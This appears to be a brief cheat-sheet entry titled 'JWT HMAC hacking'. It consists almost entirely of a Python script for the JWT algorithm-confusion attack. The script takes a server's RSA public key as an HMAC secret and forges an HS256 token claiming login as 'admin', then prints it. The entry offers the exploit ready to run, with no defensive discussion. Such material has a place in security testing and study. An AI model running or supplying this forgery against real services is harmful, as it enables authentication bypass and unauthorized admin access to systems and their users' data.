JWT
HMAC hacking
import hmac
import hashlib
import base64
with open('public.pem', 'rb') as f:
key = f.read()
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 = {"typ":"JWT","alg":"HS256"}
# eyJsb2dpbiI6ImFkbWluIn0 = {"login":"admin"}
payload = b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6ImFkbWluIn0'
signature = base64.urlsafe_b64encode(hmac.new(key, payload, hashlib.sha256).digest()).decode('UTF-8').replace('=','')
payload2 = str(payload, encoding='utf-8')
print(f"{payload2}.{signature}")Last updated